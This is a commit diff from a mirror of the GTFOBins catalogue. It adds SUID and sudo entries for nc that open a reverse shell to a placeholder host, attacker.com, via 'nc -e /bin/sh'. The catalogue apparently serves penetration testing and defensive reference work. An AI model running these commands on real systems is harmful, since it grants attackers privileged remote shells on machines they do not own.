mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
Add suid-limited and sudo-enabled to nc
This commit is contained in:
parent
4de0246992
commit
fbd8a68cae
@ -24,4 +24,16 @@ functions:
|
|||||||
LPORT=12345
|
LPORT=12345
|
||||||
LFILE=file_to_save
|
LFILE=file_to_save
|
||||||
nc -l -p $LPORT > "$LFILE"
|
nc -l -p $LPORT > "$LFILE"
|
||||||
|
suid-limited:
|
||||||
|
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
|
||||||
|
code: |
|
||||||
|
RHOST=attacker.com
|
||||||
|
RPORT=12345
|
||||||
|
./nc -e /bin/sh $RHOST $RPORT
|
||||||
|
sudo-enabled:
|
||||||
|
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
|
||||||
|
code: |
|
||||||
|
RHOST=attacker.com
|
||||||
|
RPORT=12345
|
||||||
|
sudo nc -e /bin/sh $RHOST $RPORT
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user